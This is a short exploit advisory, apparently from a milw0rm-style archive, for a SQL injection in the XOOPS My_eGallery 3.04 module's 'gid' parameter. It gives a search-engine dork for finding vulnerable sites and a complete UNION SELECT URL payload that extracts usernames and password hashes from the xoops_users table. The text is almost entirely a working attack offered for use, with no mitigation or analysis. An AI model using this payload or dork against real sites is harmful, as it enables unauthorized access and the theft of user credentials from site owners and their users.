XOOPS Module My_eGallery 3.04 (gid) SQL Injection Vulnerability

########################################## # # XOOPS Module My_eGallery 3.04 # #download=http://webscripts.softpedia.com/script/Modules/Other-Modules/My-eGallery-dev-8113.html ########################################## # ##AUTHOR : S@BUN # ####HOME : http://www.milw0rm.com/author/1334 # ####MA陌L : hackturkiye.hackturkiye@gmail.com # ########################################### # # DORKS 1 : allinurl :"modules/my_egallery" # ########################################### EXPLOIT : modules/my_egallery/index.php?do=showgall&gid=-9999999/**/union/**/select/**/0,1,concat(uname,0x3a,pass),3,4,5,6/**/from+xoops_users/* ########################################### ##################S@BUN#################### ########################################### #####hackturkiye.hackturkiye@gmail.com##### ########################################### # sebug.net